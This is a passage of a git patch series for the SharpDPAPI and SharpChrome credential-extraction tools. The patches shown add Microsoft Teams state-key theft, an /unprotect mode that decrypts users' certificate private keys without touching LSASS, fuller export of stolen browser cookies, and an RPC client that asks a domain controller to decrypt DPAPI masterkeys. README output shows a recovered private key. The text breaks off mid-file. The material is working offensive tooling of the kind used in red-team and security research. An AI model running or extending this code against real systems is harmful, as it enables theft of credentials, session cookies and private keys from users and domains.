From c8110790a0dfee573c737ac544cdb402b640de57 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Franci=20=C5=A0acer?= Date: Fri, 6 Jan 2023 13:06:50 +0100 Subject: [PATCH 01/28] Add Teams statekey support The current implementation of the statekeys command in SharpChrome does not take into account the target parameter, so it just iterates through known paths. This commit adds quick support for the Microsoft Teams state file. --- SharpChrome/lib/Chrome.cs | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/SharpChrome/lib/Chrome.cs b/SharpChrome/lib/Chrome.cs index f8f0347..389e9a3 100755 --- a/SharpChrome/lib/Chrome.cs +++ b/SharpChrome/lib/Chrome.cs @@ -363,7 +363,8 @@ public static void TriageStateKeys(Dictionary MasterKeys, string { $"{userDirectory}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", $"{userDirectory}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State", - $"{userDirectory}\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Local State" + $"{userDirectory}\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Local State", + $"{userDirectory}\\AppData\\Roaming\\Microsoft\\Teams\\Local State" }; foreach(var aesKeyPath in aesKeyPaths) From 8cb5409f18a5fdc502c475c2e928200615ee487c Mon Sep 17 00:00:00 2001 From: ptr0x1 <5557407+ptr0x1@users.noreply.github.com> Date: Tue, 10 Jan 2023 13:58:26 +0000 Subject: [PATCH 02/28] adding user-context unprotect option for certificates --- README.md | 52 +++++++++++++++++++++++++++++- SharpDPAPI/Commands/Certificate.cs | 14 ++++++-- SharpDPAPI/Domain/Info.cs | 1 + SharpDPAPI/lib/Dpapi.cs | 41 ++++++++++++++++++----- SharpDPAPI/lib/Triage.cs | 14 ++++---- 5 files changed, 103 insertions(+), 19 deletions(-) diff --git a/README.md b/README.md index 8be22a4..89bae95 100755 --- a/README.md +++ b/README.md @@ -129,6 +129,7 @@ SharpDPAPI is licensed under the BSD 3-Clause license. /showall - show all decrypted private key files, not just ones that are linked to installed certs (the default) /machine - use the local machine store for certificate triage /mkfile | /target - for /machine triage + /unprotect - force use of CryptUnprotectData() for user triage /pvk | /mkfile | /password | /server | /target - for user triage @@ -695,7 +696,9 @@ Using `/unprotect` to decrypt any found key material: The **certificates** command will search user encrypted DPAPI certificate private keys a) decrypt them with any "{GUID}:SHA1" masterkeys passed, b) a `/mkfile:FILE` of one or more {GUID}:SHA1 masterkey mappings, c) use a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) to first decrypt any user masterkeys (a la **masterkeys**), or d) a `/password:X` to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command. -A specific certificiate can be specified with `/target:C:\Folder\`. In this case, either a) {GUID}:SHA1 values must be supplied or b) the folder must contain DPAPI masterkeys and a /pvk domain backup key must be supplied. +The `/unprotect` flag will use CryptUnprotectData() to decrypt private keys, *if* the command is run from the user context whose certificates you are trying to access. This can be done from an _unprivileged_ context, without the need to touch LSASS. For why this approach isn't used for credentials/vaults, see Benjamin's [documentation here](https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials#problem). + +A specific certificate can be specified with `/target:FILE` or `/target:C:\Folder\`. In both cases, {GUID}:SHA1 values (or `/unprotect`) are required or b) the folder must contain DPAPI masterkeys and a /pvk domain backup key must be supplied. By default, only private keys linkable to an associated installed certificate are displayed. The `/showall` command will display ALL decrypted private keys. @@ -747,6 +750,53 @@ Using domain {GUID}:SHA1 masterkey mappings: MIIFujCCBKKgAwIBAgITVQAAAJf6yKyhm5SBVwA...(snip)... -----END CERTIFICATE----- +Using `/unprotect` to decrypt any found user certificates: + + C:\Temp> SharpDPAPI.exe certificates /unprotect + + __ _ _ _ ___ + (_ |_ _. ._ ._ | \ |_) /\ |_) | + __) | | (_| | |_) |_/ | /--\ | _|_ + | + v1.11.3 + + + [*] Action: Certificate Triage + + [*] Using CryptUnprotectData() for decryption. + + + Folder : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104 + + File : f29fa2bb6de62b7d966a407ef203ac45_3fef0615-487e-485b-84b0-193b510dec3b + + Provider GUID : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb} + Master Key GUID : {27db0044-e2aa-4ea2-b2c0-c469e9b29ed9} + Description : Private Key + algCrypt : CALG_AES_256 (keyLen 256) + algHash : CALG_SHA_512 (32782) + Salt : d7e1e00ed8a6249b5f05c487154e83cc0b51f71131530d0d46d3bfc63d890468 + HMAC : 4869f296cdcc964262a57e2efc4f2c5df57c2ed7319e297daa2107810da5c171 + Unique Name : {4A07001C-57BE-4E8B-86D1-43CACDF8D448} + + Thumbprint : BBD9B90FE1A4E37BD646CBC922ABE06C24C1E725 + Issuer : CN=theshire-DC-CA, DC=theshire, DC=local + Subject : CN=harmj0y + Valid Date : 10/18/2022 11:40:07 AM + Expiry Date : 10/18/2023 12:00:07 PM + Enhanced Key Usages: + Client Authentication (1.3.6.1.5.5.7.3.2) + [!] Certificate is used for client auth! + Server Authentication (1.3.6.1.5.5.7.3.1) + + [*] Private key file f29fa2bb6de62b7d966a407ef203ac45_3fef0615-487e-485b-84b0-193b510dec3b was recovered: + + -----BEGIN RSA PRIVATE KEY----- + MIIEowIBAAKCAQEAxVEW49fMt...(snip)... + -----END RSA PRIVATE KEY----- + -----BEGIN CERTIFICATE----- + MIIDKjCCAhKgAwIBAgIQYwhUr...(snip)... + -----END CERTIFICATE----- Using a domain DPAPI backup key to first decrypt any discoverable masterkeys: diff --git a/SharpDPAPI/Commands/Certificate.cs b/SharpDPAPI/Commands/Certificate.cs index e798af4..b85bd49 100755 --- a/SharpDPAPI/Commands/Certificate.cs +++ b/SharpDPAPI/Commands/Certificate.cs @@ -17,6 +17,14 @@ public void Execute(Dictionary arguments) string server; // used for remote server specification bool cng = false; // used for CNG certs bool showall = false; // used for CNG certs + bool unprotect = false; // whether to force CryptUnprotectData() + + if (arguments.ContainsKey("/unprotect")) + { + Console.WriteLine("\r\n[*] Using CryptUnprotectData() for decryption."); + unprotect = true; + } + Console.WriteLine(); // {GUID}:SHA1 keys are the only ones that don't start with / Dictionary masterkeys = new Dictionary(); @@ -143,12 +151,12 @@ public void Execute(Dictionary arguments) if (File.Exists(target)) { Console.WriteLine("[*] Target Certificate File: {0}\r\n", target); - Triage.TriageCertFile(target, masterkeys, cng, showall); + Triage.TriageCertFile(target, masterkeys, cng, showall, unprotect); } else if (Directory.Exists(target)) { Console.WriteLine("[*] Target Certificate Folder: {0}\r\n", target); - Triage.TriageCertFolder(target, masterkeys, cng, showall); + Triage.TriageCertFolder(target, masterkeys, cng, showall, unprotect); } else { @@ -157,7 +165,7 @@ public void Execute(Dictionary arguments) } else { - Triage.TriageUserCerts(masterkeys, "", showall); + Triage.TriageUserCerts(masterkeys, "", showall, unprotect); } } diff --git a/SharpDPAPI/Domain/Info.cs b/SharpDPAPI/Domain/Info.cs index f11fc48..7a6599d 100755 --- a/SharpDPAPI/Domain/Info.cs +++ b/SharpDPAPI/Domain/Info.cs @@ -72,6 +72,7 @@ public static void ShowUsage() /showall - show all decrypted private key files, not just ones that are linked to installed certs (the default) /machine - use the local machine store for certificate triage /mkfile | /target - for /machine triage + /unprotect - force use of CryptUnprotectData() for user triage /pvk | /mkfile | /password | /server | /target - for user triage diff --git a/SharpDPAPI/lib/Dpapi.cs b/SharpDPAPI/lib/Dpapi.cs index 576b02d..872b43c 100755 --- a/SharpDPAPI/lib/Dpapi.cs +++ b/SharpDPAPI/lib/Dpapi.cs @@ -15,7 +15,7 @@ namespace SharpDPAPI { public class Dpapi { - public static Tuple DescribeDPAPICertPrivateKey(string fileName, byte[] dpapiblob, Dictionary MasterKeys, byte[] entropy = null) + public static Tuple DescribeDPAPICertPrivateKey(string fileName, byte[] dpapiblob, Dictionary MasterKeys, byte[] entropy = null, bool unprotect = false) { // decrypts the private key part of a CAPI/CNG blog @@ -84,6 +84,31 @@ public static Tuple DescribeDPAPICertPrivateKey(string fileName, offset += signBytes.Length + 4; + if (unprotect) + { + // use CryptUnprotectData() + try + { + var decBytes = ProtectedData.Unprotect(dpapiblob, entropy, DataProtectionScope.CurrentUser); + if (decBytes.Length > 0) + { + message += $"\n Provider GUID : {strGuidProvider}\n"; + message += $" Master Key GUID : {strmkguidProvider}\n"; + message += $" Description : {description}\n"; + message += $" algCrypt : {(Interop.CryptAlg)algCrypt} (keyLen {algCryptLen})\n"; + message += $" algHash : {(Interop.CryptAlg)algHash} ({algHash})\n"; + message += $" Salt : {Helpers.ByteArrayToString(saltBytes)}\n"; + message += $" HMAC : {Helpers.ByteArrayToString(hmac)}\n"; + } + + return new Tuple(message, decBytes); + } + catch + { + Console.WriteLine($" [!] {fileName} masterkey needed: {strmkguidProvider}"); + } + } + switch (algHash) { case 32782: @@ -234,7 +259,7 @@ public static byte[] ConvertRsaBlobToRsaFullBlob(byte[] rsaKeyBytes, bool debug } - public static Tuple DescribeCngCertBlob(string fileName, byte[] blobBytes, Dictionary MasterKeys) + public static Tuple DescribeCngCertBlob(string fileName, byte[] blobBytes, Dictionary MasterKeys, bool unprotect = false) { // Parses a CNG certificate private key blob, decrypting if possible. @@ -274,7 +299,7 @@ public static Tuple DescribeCngCertBlob(string fileName, byte[] Array.Copy(blobBytes, offset, dpapiblob, 0, dwPrivateKeyLen); // entropy needed - https://github.com/gentilkiwi/mimikatz/blob/fa42ed93aa4d5aa73825295e2ab757ac96005581/modules/kull_m_key.h#L13 - Tuple result = DescribeDPAPICertPrivateKey(fileName, dpapiblob, MasterKeys, Helpers.Combine(Encoding.UTF8.GetBytes("xT5rZW5qVVbrvpuA"), new byte[1])); + Tuple result = DescribeDPAPICertPrivateKey(fileName, dpapiblob, MasterKeys, Helpers.Combine(Encoding.UTF8.GetBytes("xT5rZW5qVVbrvpuA"), new byte[1]),unprotect); string message = result.First; if (result.Second.Length > 0) @@ -286,7 +311,7 @@ public static Tuple DescribeCngCertBlob(string fileName, byte[] } - public static Tuple DescribeCapiCertBlob(string fileName, byte[] blobBytes, Dictionary MasterKeys) + public static Tuple DescribeCapiCertBlob(string fileName, byte[] blobBytes, Dictionary MasterKeys, bool unprotect = false) { // Parses a CAPI certificate private key blob, decrypting if possible. @@ -375,7 +400,7 @@ public static Tuple DescribeCapiCertBlob(string fileName, byte[] var dpapiblob = new byte[len]; Array.Copy(blobBytes, offset, dpapiblob, 0, len); - Tuple result = DescribeDPAPICertPrivateKey(fileName, dpapiblob, MasterKeys); + Tuple result = DescribeDPAPICertPrivateKey(fileName, dpapiblob, MasterKeys, null, unprotect); string message = result.First; if(result.Second.Length > 0) { @@ -390,18 +415,18 @@ public static Tuple DescribeCapiCertBlob(string fileName, byte[] } - public static ExportedCertificate DescribeCertificate(string fileName, byte[] certificateBytes, Dictionary MasterKeys, bool cng = false, bool alwaysShow = false) + public static ExportedCertificate DescribeCertificate(string fileName, byte[] certificateBytes, Dictionary MasterKeys, bool cng = false, bool alwaysShow = false, bool unprotect = false) { // takes a raw certificate private key blob and decrypts/displays if possible Tuple result = new Tuple("", null); if (cng) { - result = DescribeCngCertBlob(fileName, certificateBytes, MasterKeys); + result = DescribeCngCertBlob(fileName, certificateBytes, MasterKeys, unprotect); } else { - result = DescribeCapiCertBlob(fileName, certificateBytes, MasterKeys); + result = DescribeCapiCertBlob(fileName, certificateBytes, MasterKeys, unprotect); } string statusMessage = result.First; diff --git a/SharpDPAPI/lib/Triage.cs b/SharpDPAPI/lib/Triage.cs index 56f9511..78125e5 100755 --- a/SharpDPAPI/lib/Triage.cs +++ b/SharpDPAPI/lib/Triage.cs @@ -626,7 +626,7 @@ public static void TriageCredFile(string credFilePath, Dictionary MasterKeys, bool cng = false, bool alwaysShow = false) + public static void TriageCertFile(string certFilePath, Dictionary MasterKeys, bool cng = false, bool alwaysShow = false, bool unprotect = false) { // triage a certificate file @@ -635,7 +635,7 @@ public static void TriageCertFile(string certFilePath, Dictionary MasterKeys, bool cng = false, bool alwaysShow = false) + public static void TriageCertFolder(string folder, Dictionary MasterKeys, bool cng = false, bool alwaysShow = false, bool unprotect = false) { // triage a specific certificate folder if (!Directory.Exists(folder)) @@ -690,7 +690,7 @@ public static void TriageCertFolder(string folder, Dictionary Ma @"[0-9A-Fa-f]{32}[_][0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}") ) { - TriageCertFile(file, MasterKeys, cng, alwaysShow); + TriageCertFile(file, MasterKeys, cng, alwaysShow, unprotect); } } } @@ -734,7 +734,7 @@ public static void TriageSystemCerts(Dictionary MasterKeys, bool } } - public static void TriageUserCerts(Dictionary MasterKeys, string computerName = "", bool showall = false) + public static void TriageUserCerts(Dictionary MasterKeys, string computerName = "", bool showall = false, bool unprotect = false) { string[] userDirs; if (!String.IsNullOrEmpty(computerName)) @@ -778,7 +778,7 @@ public static void TriageUserCerts(Dictionary MasterKeys, string foreach (var directory in directories) { - TriageCertFolder(directory, MasterKeys, false, showall); + TriageCertFolder(directory, MasterKeys, false, showall, unprotect); } var userCngKeysPath = $"{dir}\\AppData\\Roaming\\Microsoft\\Crypto\\Keys\\"; @@ -786,7 +786,7 @@ public static void TriageUserCerts(Dictionary MasterKeys, string if (!Directory.Exists(userCngKeysPath)) continue; - TriageCertFolder(userCngKeysPath, MasterKeys, true, showall); + TriageCertFolder(userCngKeysPath, MasterKeys, true, showall, unprotect); } } From 067535dd6ccb6f225d2dbcbbfff3feb765a1c94c Mon Sep 17 00:00:00 2001 From: Dwight Hohnstein Date: Thu, 2 Feb 2023 09:46:03 -0800 Subject: [PATCH 03/28] misc attributes properly pulled for some relevant cookie fields. updating to latest version of editthiscookie format. --- .gitignore | 1 + SharpChrome/lib/Chrome.cs | 49 ++++++++++++++++++++++++++++++++++----- 2 files changed, 44 insertions(+), 6 deletions(-) diff --git a/.gitignore b/.gitignore index 8e08f97..057b906 100644 --- a/.gitignore +++ b/.gitignore @@ -1,3 +1,4 @@ +.idea .vs *.user [Dd]ebug/ diff --git a/SharpChrome/lib/Chrome.cs b/SharpChrome/lib/Chrome.cs index f8f0347..1b58cb2 100755 --- a/SharpChrome/lib/Chrome.cs +++ b/SharpChrome/lib/Chrome.cs @@ -545,7 +545,7 @@ public static void ParseChromeCookies(Dictionary MasterKeys, str //string query = "SELECT cast(creation_utc as text) as creation_utc, host_key, name, path, cast(expires_utc as text) as expires_utc, is_secure, is_httponly, cast(last_access_utc as text) as last_access_utc, encrypted_value FROM cookies"; // new, seems to work with partial indexing?? "/giphy table flip" - string query = "SELECT cast(creation_utc as text) as creation_utc, host_key, name, path, cast(expires_utc as text) as expires_utc, cast(last_access_utc as text) as last_access_utc, encrypted_value FROM cookies"; + string query = "SELECT cast(creation_utc as text) as creation_utc, host_key, name, path, cast(expires_utc as text) as expires_utc, cast(last_access_utc as text) as last_access_utc, encrypted_value, samesite, is_secure, is_httponly FROM cookies"; List results = database.Query2(query, false); // used if cookies "never expire" for json output @@ -553,6 +553,7 @@ public static void ParseChromeCookies(Dictionary MasterKeys, str TimeSpan timespan = (DateTime.Now).AddYears(100) - epoch; long longExpiration = (long)Math.Abs(timespan.TotalSeconds * 1000000); + int idInt = 1; foreach (SQLiteQueryRow row in results) { try @@ -593,6 +594,41 @@ public static void ParseChromeCookies(Dictionary MasterKeys, str double expDateDouble = 0; long expDate; Int64.TryParse(row.column[4].Value.ToString(), out expDate); + int sameSite = -1; + int.TryParse(row.column[7].Value.ToString(), out sameSite); + + if (!int.TryParse(row.column[8].Value.ToString(), out int isSecure)) + { + throw new Exception($"Failed to parse int from {row.column[8].Value}"); + } + + string secureFlag = isSecure > 0 ? "true" : "false"; + + if (!int.TryParse(row.column[9].Value.ToString(), out int isHttpOnly)) + { + throw new Exception($"Failed to parse int from {row.column[8].Value}"); + } + + string httpOnly = isHttpOnly > 0 ? "true" : "false"; + + string sameSiteString = ""; + switch (sameSite) + { + case -1: + sameSiteString = "unspecified"; + break; + case 0: + sameSiteString = "no_restriction"; + break; + case 1: + sameSiteString = "lax"; + break; + case 2: + sameSiteString = "strict"; + break; + default: + throw new Exception($"Unexpected SameSite value {sameSite}"); + } // https://github.com/djhohnstein/SharpChrome/issues/1 if ((expDate / 1000000.000000000000) - 11644473600 > 0) expDateDouble = (expDate / 1000000.000000000000000) - 11644473600; @@ -678,15 +714,16 @@ public static void ParseChromeCookies(Dictionary MasterKeys, str Console.WriteLine(" \"expirationDate\": {0},", expDateDouble); } } - Console.WriteLine(" \"hostOnly\": false,"); - Console.WriteLine(" \"httpOnly\": true,"); + Console.WriteLine($" \"hostOnly\": false,"); + Console.WriteLine($" \"httpOnly\": {httpOnly},"); Console.WriteLine(" \"name\": \"{0}\",", SharpDPAPI.Helpers.CleanForJSON(String.Format("{0}", row.column[2].Value))); Console.WriteLine(" \"path\": \"{0}\",", String.Format("{0}", row.column[3].Value)); - Console.WriteLine(" \"sameSite\": \"no_restriction\","); - Console.WriteLine(" \"secure\": true,"); + Console.WriteLine($" \"sameSite\": \"{sameSiteString}\","); + Console.WriteLine($" \"secure\": {secureFlag},"); Console.WriteLine(" \"session\": true,"); - Console.WriteLine(" \"storeId\": null,"); + Console.WriteLine(" \"storeId\": \"0\","); Console.WriteLine(" \"value\": \"{0}\"", SharpDPAPI.Helpers.CleanForJSON(value)); + // Console.WriteLine($" \""); } else { From 578fe6e35d61d09d70b752984b2a5e90ff933c23 Mon Sep 17 00:00:00 2001 From: unknown Date: Fri, 24 Mar 2023 18:22:26 +0100 Subject: [PATCH 04/28] Add /rpc flag to allow users to resquest domain controller to decrypt masterkeys in a domain --- SharpChrome/SharpChrome.csproj | 3 + SharpChrome/lib/Bkrp.cs | 542 +++++++++++++++++++++++++++++ SharpDPAPI/Commands/Credentials.cs | 4 + SharpDPAPI/Commands/Keepass.cs | 4 + SharpDPAPI/Commands/Masterkeys.cs | 10 + SharpDPAPI/Commands/PS.cs | 4 + SharpDPAPI/Commands/RDG.cs | 4 + SharpDPAPI/Commands/Triage.cs | 4 + SharpDPAPI/Commands/Vaults.cs | 4 + SharpDPAPI/SharpDPAPI.csproj | 4 + SharpDPAPI/lib/Bkrp.cs | 542 +++++++++++++++++++++++++++++ SharpDPAPI/lib/Triage.cs | 20 +- 12 files changed, 1144 insertions(+), 1 deletion(-) create mode 100644 SharpChrome/lib/Bkrp.cs create mode 100644 SharpDPAPI/lib/Bkrp.cs diff --git a/SharpChrome/SharpChrome.csproj b/SharpChrome/SharpChrome.csproj index 70692df..cffd0ec 100755 --- a/SharpChrome/SharpChrome.csproj +++ b/SharpChrome/SharpChrome.csproj @@ -37,6 +37,8 @@ + + @@ -91,6 +93,7 @@ + diff --git a/SharpChrome/lib/Bkrp.cs b/SharpChrome/lib/Bkrp.cs new file mode 100644 index 0000000..377b6ac --- /dev/null +++ b/SharpChrome/lib/Bkrp.cs @@ -0,0 +1,542 @@ +using Microsoft.Win32.SafeHandles; +using System; +using System.Collections; +using System.Collections.Generic; +using System.ComponentModel; +using System.Diagnostics; +using System.Globalization; +using System.IO; +using System.Net; +using System.Net.Sockets; +using System.Runtime.ConstrainedExecution; +using System.Runtime.InteropServices; +using System.Security; +using System.Security.Cryptography; +using System.Security.Permissions; +using System.Security.Principal; +using System.Text; + +namespace SharpDPAPI +{ + /// + /// Inspired by vletoux and gentilkiwi + /// https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1 + /// Mimikatz: kull_m_rpc_ms-bkrp_c.c + /// + public class Bkrp + { + #region pinvoke + [DllImport("Rpcrt4.dll", EntryPoint = "RpcBindingFromStringBindingW", + CallingConvention = CallingConvention.StdCall, + CharSet = CharSet.Unicode, SetLastError = false)] + private static extern Int32 RpcBindingFromStringBinding(String bindingString, out IntPtr lpBinding); + + [DllImport("Rpcrt4.dll", EntryPoint = "NdrClientCall2", CallingConvention = CallingConvention.Cdecl, + CharSet = CharSet.Unicode, SetLastError = false)] + private static extern IntPtr NdrClientCall2(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr h, IntPtr pguidActionAgent, IntPtr pDataIn, UInt32 cbDataIn, out IntPtr ppDataOut, out IntPtr pcbDataOut, UInt32 dwParam); + + [DllImport("Rpcrt4.dll", EntryPoint = "RpcBindingFree", CallingConvention = CallingConvention.StdCall, + CharSet = CharSet.Unicode, SetLastError = false)] + private static extern Int32 RpcBindingFree(ref IntPtr lpString); + + //#region RpcStringBindingCompose + + [DllImport("Rpcrt4.dll", EntryPoint = "RpcStringBindingComposeW", CallingConvention = CallingConvention.StdCall, + CharSet = CharSet.Unicode, SetLastError = false)] + private static extern Int32 RpcStringBindingCompose( + String ObjUuid, String ProtSeq, String NetworkAddr, String Endpoint, String Options, + out IntPtr lpBindingString + ); + + [StructLayout(LayoutKind.Sequential)] + private struct RPC_SECURITY_QOS + { + public Int32 Version; + public Int32 Capabilities; + public Int32 IdentityTracking; + public Int32 ImpersonationType; + }; + + [DllImport("Rpcrt4.dll", EntryPoint = "RpcBindingSetAuthInfoExW", CallingConvention = CallingConvention.StdCall, + CharSet = CharSet.Unicode, SetLastError = false)] + private static extern Int32 RpcBindingSetAuthInfoEx(IntPtr lpBinding, string ServerPrincName, + UInt32 AuthnLevel, UInt32 AuthnSvc, IntPtr identity, UInt32 AuthzSvc, ref RPC_SECURITY_QOS SecurityQOS); + + [DllImport("Rpcrt4.dll", EntryPoint = "RpcBindingSetOption", CallingConvention = CallingConvention.StdCall, SetLastError = false)] + private static extern Int32 RpcBindingSetOption(IntPtr Binding, UInt32 Option, IntPtr OptionValue); + + [DllImport("Rpcrt4.dll", EntryPoint = "I_RpcBindingInqSecurityContext", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode, SetLastError = true)] + private static extern Int32 I_RpcBindingInqSecurityContext(IntPtr Binding, out IntPtr SecurityContextHandle); + + + [StructLayout(LayoutKind.Sequential)] + private struct SecPkgContext_SessionKey + { + public UInt32 SessionKeyLength; + public IntPtr SessionKey; + } + + [DllImport("secur32.Dll", CharSet = CharSet.Auto, SetLastError = false)] + private static extern int QueryContextAttributes(IntPtr hContext, + uint ulAttribute, + ref SecPkgContext_SessionKey pContextAttributes); + + [StructLayout(LayoutKind.Sequential)] + private struct CRYPTO_BUFFER + { + public UInt32 Length; + public UInt32 MaximumLength; + public IntPtr Buffer; + } + + [DllImport("advapi32.Dll", CharSet = CharSet.Auto, SetLastError = false, EntryPoint = "SystemFunction032")] + private static extern int SystemFunction032(ref CRYPTO_BUFFER data, ref CRYPTO_BUFFER key); + + [DllImport("advapi32.dll", SetLastError = true, EntryPoint = "SystemFunction027")] + private static extern int RtlDecryptDES2blocks1DWORD(byte[] data, ref UInt32 key, IntPtr output); + + + [DllImport("advapi32.dll", SetLastError = true)] + private static extern IntPtr GetSidSubAuthority(IntPtr sid, UInt32 subAuthorityIndex); + + [DllImport("advapi32.dll", SetLastError = true)] + private static extern IntPtr GetSidSubAuthorityCount(IntPtr psid); + #endregion + + #region rpc initialization + private byte[] MIDL_ProcFormatString; + private byte[] MIDL_TypeFormatString; + private GCHandle procString; + private GCHandle formatString; + private GCHandle stub; + private GCHandle faultoffsets; + private GCHandle clientinterface; + + public UInt32 RPCTimeOut = 1000; + + [StructLayout(LayoutKind.Sequential)] + private struct COMM_FAULT_OFFSETS + { + public short CommOffset; + public short FaultOffset; + } + + [StructLayout(LayoutKind.Sequential)] + private struct GENERIC_BINDING_ROUTINE_PAIR + { + public IntPtr Bind; + public IntPtr Unbind; + } + + + [StructLayout(LayoutKind.Sequential)] + private struct RPC_VERSION + { + public ushort MajorVersion; + public ushort MinorVersion; + + public RPC_VERSION(ushort InterfaceVersionMajor, ushort InterfaceVersionMinor) + { + MajorVersion = InterfaceVersionMajor; + MinorVersion = InterfaceVersionMinor; + } + } + + [StructLayout(LayoutKind.Sequential)] + private struct RPC_SYNTAX_IDENTIFIER + { + public Guid SyntaxGUID; + public RPC_VERSION SyntaxVersion; + } + + [StructLayout(LayoutKind.Sequential)] + private struct RPC_CLIENT_INTERFACE + { + public uint Length; + public RPC_SYNTAX_IDENTIFIER InterfaceId; + public RPC_SYNTAX_IDENTIFIER TransferSyntax; + public IntPtr /*PRPC_DISPATCH_TABLE*/ DispatchTable; + public uint RpcProtseqEndpointCount; + public IntPtr /*PRPC_PROTSEQ_ENDPOINT*/ RpcProtseqEndpoint; + public IntPtr Reserved; + public IntPtr InterpreterInfo; + public uint Flags; + + public static readonly Guid IID_SYNTAX = new Guid(0x8A885D04u, 0x1CEB, 0x11C9, 0x9F, 0xE8, 0x08, 0x00, 0x2B, + 0x10, + 0x48, 0x60); + + public RPC_CLIENT_INTERFACE(Guid iid, ushort InterfaceVersionMajor, ushort InterfaceVersionMinor) + { + Length = (uint)Marshal.SizeOf(typeof(RPC_CLIENT_INTERFACE)); + RPC_VERSION rpcVersion = new RPC_VERSION(InterfaceVersionMajor, InterfaceVersionMinor); + InterfaceId = new RPC_SYNTAX_IDENTIFIER(); + InterfaceId.SyntaxGUID = iid; + InterfaceId.SyntaxVersion = rpcVersion; + rpcVersion = new RPC_VERSION(2, 0); + TransferSyntax = new RPC_SYNTAX_IDENTIFIER(); + TransferSyntax.SyntaxGUID = IID_SYNTAX; + TransferSyntax.SyntaxVersion = rpcVersion; + DispatchTable = IntPtr.Zero; + RpcProtseqEndpointCount = 0u; + RpcProtseqEndpoint = IntPtr.Zero; + Reserved = IntPtr.Zero; + InterpreterInfo = IntPtr.Zero; + Flags = 0u; + } + } + + [StructLayout(LayoutKind.Sequential)] + private struct MIDL_STUB_DESC + { + public IntPtr /*RPC_CLIENT_INTERFACE*/ RpcInterfaceInformation; + public IntPtr pfnAllocate; + public IntPtr pfnFree; + public IntPtr pAutoBindHandle; + public IntPtr /*NDR_RUNDOWN*/ apfnNdrRundownRoutines; + public IntPtr /*GENERIC_BINDING_ROUTINE_PAIR*/ aGenericBindingRoutinePairs; + public IntPtr /*EXPR_EVAL*/ apfnExprEval; + public IntPtr /*XMIT_ROUTINE_QUINTUPLE*/ aXmitQuintuple; + public IntPtr pFormatTypes; + public int fCheckBounds; + /* Ndr library version. */ + public uint Version; + public IntPtr /*MALLOC_FREE_STRUCT*/ pMallocFreeStruct; + public int MIDLVersion; + public IntPtr CommFaultOffsets; + // New fields for version 3.0+ + public IntPtr /*USER_MARSHAL_ROUTINE_QUADRUPLE*/ aUserMarshalQuadruple; + // Notify routines - added for NT5, MIDL 5.0 + public IntPtr /*NDR_NOTIFY_ROUTINE*/ NotifyRoutineTable; + public IntPtr mFlags; + // International support routines - added for 64bit post NT5 + public IntPtr /*NDR_CS_ROUTINES*/ CsRoutineTables; + public IntPtr ProxyServerInfo; + public IntPtr /*NDR_EXPR_DESC*/ pExprInfo; + // Fields up to now present in win2000 release. + + public MIDL_STUB_DESC(IntPtr pFormatTypesPtr, IntPtr RpcInterfaceInformationPtr, + IntPtr pfnAllocatePtr, IntPtr pfnFreePtr, IntPtr aGenericBindingRoutinePairsPtr) + { + pFormatTypes = pFormatTypesPtr; + RpcInterfaceInformation = RpcInterfaceInformationPtr; + CommFaultOffsets = IntPtr.Zero; + pfnAllocate = pfnAllocatePtr; + pfnFree = pfnFreePtr; + pAutoBindHandle = IntPtr.Zero; + apfnNdrRundownRoutines = IntPtr.Zero; + aGenericBindingRoutinePairs = aGenericBindingRoutinePairsPtr; + apfnExprEval = IntPtr.Zero; + aXmitQuintuple = IntPtr.Zero; + fCheckBounds = 1; + Version = 0x60000; + pMallocFreeStruct = IntPtr.Zero; + MIDLVersion = 0x8000253; + aUserMarshalQuadruple = IntPtr.Zero; + NotifyRoutineTable = IntPtr.Zero; + mFlags = new IntPtr(0x00000001); + CsRoutineTables = IntPtr.Zero; + ProxyServerInfo = IntPtr.Zero; + pExprInfo = IntPtr.Zero; + } + } + + private void InitializeStub(Guid interfaceID, byte[] MIDL_ProcFormatString, byte[] MIDL_TypeFormatString, ushort MajorVerson, ushort MinorVersion) + { + this.MIDL_ProcFormatString = MIDL_ProcFormatString; + this.MIDL_TypeFormatString = MIDL_TypeFormatString; + procString = GCHandle.Alloc(this.MIDL_ProcFormatString, GCHandleType.Pinned); + + RPC_CLIENT_INTERFACE clientinterfaceObject = new RPC_CLIENT_INTERFACE(interfaceID, MajorVerson, MinorVersion); + + COMM_FAULT_OFFSETS commFaultOffset = new COMM_FAULT_OFFSETS(); + commFaultOffset.CommOffset = -1; + commFaultOffset.FaultOffset = -1; + faultoffsets = GCHandle.Alloc(commFaultOffset, GCHandleType.Pinned); + clientinterface = GCHandle.Alloc(clientinterfaceObject, GCHandleType.Pinned); + formatString = GCHandle.Alloc(MIDL_TypeFormatString, GCHandleType.Pinned); + + MIDL_STUB_DESC stubObject = new MIDL_STUB_DESC(formatString.AddrOfPinnedObject(), + clientinterface.AddrOfPinnedObject(), + Marshal.GetFunctionPointerForDelegate((allocmemory)AllocateMemory), + Marshal.GetFunctionPointerForDelegate((freememory)FreeMemory), + IntPtr.Zero); + + stub = GCHandle.Alloc(stubObject, GCHandleType.Pinned); + } + + private void freeStub() + { + procString.Free(); + faultoffsets.Free(); + clientinterface.Free(); + formatString.Free(); + stub.Free(); + } + + private static List TrackedMemoryAllocations; + + delegate IntPtr allocmemory(int size); + private static IntPtr AllocateMemory(int size) + { + IntPtr memory = Marshal.AllocHGlobal(size); + if (TrackedMemoryAllocations != null) + { + TrackedMemoryAllocations.Add(memory); + } + return memory; + } + + delegate void freememory(IntPtr memory); + private static void FreeMemory(IntPtr memory) + { + 